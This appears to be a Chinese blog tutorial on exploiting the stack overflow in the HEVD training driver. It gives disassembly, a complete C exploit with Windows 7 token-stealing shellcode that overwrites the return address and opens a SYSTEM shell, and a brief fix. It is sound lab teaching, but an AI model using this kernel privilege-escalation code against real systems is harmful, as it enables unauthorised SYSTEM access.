• 初探栈溢出


    0x01 HEVD介绍

    HEVD全称为HackSys Ex

    treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。

    说白了,是一个内核漏洞的靶场

    项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

    关于安装配置初始环境,建议参考:

    https://tttang.com/archive/1332/

    https://bbs.pediy.com/thread-218838.htm

    这里就不再赘述。

    本人能力有限,刚学习过一些内核知识,文章中出现的任何错误欢迎师傅们批评指正。

    下面我们直接开始,从栈溢出开始

    0x02 栈溢出函数定位

    HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c文件中。

    位于该文件的107行,没有经过校验Size的大小而直接使用函数进行拷贝。

    相关漏洞函数为:TriggerBufferOverflowStack

    将HEVD.sys文件拖入ida中分析。定位到TriggerBufferOverflowStack函数

    可以看到使用了memcpykernelBuffer有拷贝动作,将UserBuffer的值拷贝到kernelBuffer中,拷贝长度为传入的参数Size。

    问题在于kernelBuffer的长度是固定的:

    一个ULONG类型对应四个字节,那么512*4=2048=800h,这和IDA逆向出来的代码是相同的:

    而UserBuffer和Size为传入的参数,并且对Size的大小没有限制,那么倘若Size大小大于800h字节,则会发生栈溢出。

    0x03 溢出函数是怎样被调用的

    相关调用链

    首先是进入到DriverEntry(x,x),然后通过IrpDeviceIoCtlHandler(x,x)根据IoControlCode使用switch函数跳转到BufferOverflowStackIoctlHandler然后进入TriggerBufferOverflowStack进行溢出操作

    找到IrpIrpDeviceIoCtlHandler函数

    1. PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+87↓o
    2. PAGE:00444064
    3. PAGE:00444064 DeviceObject    = dword ptr  8
    4. PAGE:00444064 Irp             = dword ptr  0Ch
    5. PAGE:00444064
    6. PAGE:00444064                 push    ebp
    7. PAGE:00444065                 mov     ebp, esp
    8. PAGE:00444067                 push    ebx
    9. PAGE:00444068                 push    esi
    10. PAGE:00444069                 push    edi
    11. PAGE:0044406A                 mov     edi, [ebp+Irp]
    12. PAGE:0044406D                 mov     ebx, 0C00000BBh
    13. PAGE:00444072                 mov     eax, [edi+60h]
    14. PAGE:00444075                 test    eax, eax
    15. PAGE:00444077                 jz      loc_4444C5
    16. PAGE:0044407D                 mov     ebx, eax
    17. PAGE:0044407F                 mov     ecx, [ebx+0Ch]
    18. PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases
    19. PAGE:00444088                 cmp     eax, 6Ch
    20. PAGE:0044408B                 ja      def_444098      ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
    21. PAGE:00444091                 movzx   eax, ds:byte_444554[eax]
    22. PAGE:00444098                 jmp     ds:jpt_444098[eax*4] ; switch jump

    这里看的不是很清楚,可以通过IDA F5反编译一下

    可以看到只有当IoControlCode为2236419时,才会调用BufferOverflowStackIoctlHandler,继而调用TriggerBufferOverflowStack

    0x04 漏洞利用

    作为脚本小子,先跑一下写好了的exploit脚本。

    打开HackSysEVDExploit.sln文件,直接在vs2019上编译即可。

    将生成的HackSysEVDExploit.exe拷贝至win7,执行如下命令

    HackSysEVDExploit.exe -c cmd.exe -p
    

    直接可以获取system权限。

    那么只跑一下脚本肯定不行,一起分析一下他是如何做到的。

    首先,栈溢出了,我们最希望控制的就是EIP,通过栈溢出的漏洞将原来函数返回的地址覆盖为我们自己希望执行代码的地址。那么应该弄清楚一点,返回地址在哪?

    可以在ida上找到答案,通过stack窗口可以看到TriggerBufferOverflowStack的堆栈图:

    我们可以通过kernelBuffer溢出来覆盖r的值,r相对KernelBuffer的偏移为820h。

    所以我们可以申请一块0x824大小的空间,然后将我们要执行函数或者shellcode的地址填入0x820的位置,即可覆盖返回地址。

    TriggerBufferOverflowStack执行结束后就会执行我们自己的代码。

    这里有一个小问题需要注意,执行完我们自己的代码以后我们需要让程序能够继续正常执行,那么需要做平衡堆栈的动作

    最终我们自己编写的exp为:

    1. #include "stdio.h"
    2. #include "windows.h"
    3. #include <stdlib.h>
    4. #include <tchar.h>
    5. VOID TokenStealingPayloadWin7() {
    6.     // Importance of Kernel Recovery
    7.     __asm {
    8.         pushad; Save registers state
    9.         ; Start of Token Stealing Stub
    10.         xor eax, eax; Set ZERO
    11.         mov eax, fs: [eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
    12.         ; _KTHREAD is located at FS : [0x124]
    13.         mov eax, [eax + 50h]; Get nt!_KTHREAD.ApcState.Process  //养父母
    14.         mov ecx, eax; Copy current process _EPROCESS structure
    15.         mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
    16.         SearchSystemPID:
    17.         mov eax, [eax + 0b8h]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
    18.             sub eax, 0b8h
    19.             cmp[eax + 0b4h], edx; Get nt!_EPROCESS.UniqueProcessId
    20.             jne SearchSystemPID
    21.             mov edx, [eax + 0f8h]; Get SYSTEM process nt!_EPROCESS.Token
    22.             mov[ecx + 0f8h], edx; Replace target process nt!_EPROCESS.Token //替换token为system的token
    23.             ; with SYSTEM process nt!_EPROCESS.Token
    24.             ; End of Token Stealing Stub
    25.             popad; Restore registers state
    26.             ; Kernel Recovery Stub
    27.             xor eax, eax; Set NTSTATUS SUCCEESS
    28.             add esp, 12; Fix the stack
    29.             pop ebp; Restore saved EBP
    30.             ret 8Return cleanly
    31.     }
    32. }
    33. static VOID Cmd()
    34. {
    35.     STARTUPINFO si = { sizeof(si) };
    36.     PROCESS_INFORMATION pi = { 0 };
    37.     si.dwFlags = STARTF_USESHOWWINDOW;
    38.     si.wShowWindow = SW_SHOW;
    39.     WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    40.     BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULLFALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    41.     if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
    42. }
    43. int main()
    44. {
    45.     char buffer[0x824];
    46.     HANDLE hDevice;
    47.     DWORD bReturn = 0;
    48.     hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    49.         GENERIC_READ | GENERIC_WRITE,
    50.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    51.         NULL,
    52.         OPEN_EXISTING,
    53.         FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
    54.         NULL
    55.     );
    56.     if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    57.     {
    58.         printf("Failed to get handle...!\n");
    59.         return 0;
    60.     }
    61.     memset(buffer, 'A'0x824);
    62.     *(PDWORD)(buffer + 0x820= (DWORD)&TokenStealingPayloadWin7;
    63.     DeviceIoControl(hDevice, 2236419, buffer, 0x824NULL0&bReturn, NULL); //IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler
    64.     Cmd();
    65.     return 0;
    66. }

    payload解读

    其中TokenStealingPayloadWin7为payload函数。

    在ring3,fs:[0]指向TEB,在ring0,fs:[0]指向KPCR。

    然后通过KPCR+124h获取CurrentThread,CurrentThread结构体为EThread,EThread的第一个成员KThread+40为APC_STATE结构,其中包含当前线程的“养父母”进程。

    EPROCESS+0xb8指向的是一个链表,串着所有进程的信息,我们可以通过遍历这个链表获取pid为4(EPROCESS+0xb4),system进程的EPROCESS信息。

    最后将当前进程的token(EPROCESS+0xf8)的值替换为system进程的token的值,让当前进程权限为system。达到权限提升的作用。

    最后需要平衡堆栈,以及将返回后的两句代码添上。

    其余代码

    1. memset(buffer, 'A'0x824);
    2. *(PDWORD)(buffer + 0x820= (DWORD)&TokenStealingPayloadWin7;

    将相对kernelBuffer偏移0x820字节返回位置进行覆盖,改为我们自己函数的地址。

    1. hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    2.         GENERIC_READ | GENERIC_WRITE,
    3.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    4.         NULL,
    5.         OPEN_EXISTING,
    6.         FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
    7.         NULL
    8.     );

    创建设备与驱动通信

    DeviceIoControl(hDevice, 2236419, buffer, 0x824NULL0&bReturn, NULL);
    

    IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler,这一点我们上面也已经分析过了。

    1. static VOID Cmd()
    2. {
    3.     STARTUPINFO si = { sizeof(si) };
    4.     PROCESS_INFORMATION pi = { 0 };
    5.     si.dwFlags = STARTF_USESHOWWINDOW;
    6.     si.wShowWindow = SW_SHOW;
    7.     WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    8.     BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULLFALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    9.     if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
    10. }

    由于当前进程具有system令牌,我们通过当前进程创建的cmd.exe拥有system权限。

    最后执行我们自己的exp,成功弹出system权限的cmd。

    0x05 修复

    Size改为sizeof(KernelBuffer),达到一个限制大小的作用,这一点在SECURE(安全的代码)代码中也有体现。

  • 相关阅读:
    计算机视觉与深度学习-经典网络解析-ZFNet-[北邮鲁鹏]
    AI智能机器人的测评以及部署
    【C++】运算符重载案例 - 字符串类 ① ( Visual Studio 中创建 String 类 | 构造函数与析构函数 | 完整代码示例 )
    软考中级(软件设计师)——程序设计语言与语言处理程序基础(3-5分,一般是3分)
    基于flask+bootstrap4实现的注重创作的轻博客系统项目源码
    自费访学|金融公司高管赴世界名校伯克利交流
    Sql Server系列:子查询
    糖尿病患者,稳定控糖,饮食上需注意什么?禁忌和适宜一次说清
    C# tcp通信连接正常判断
    PythonStudy2
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/126850693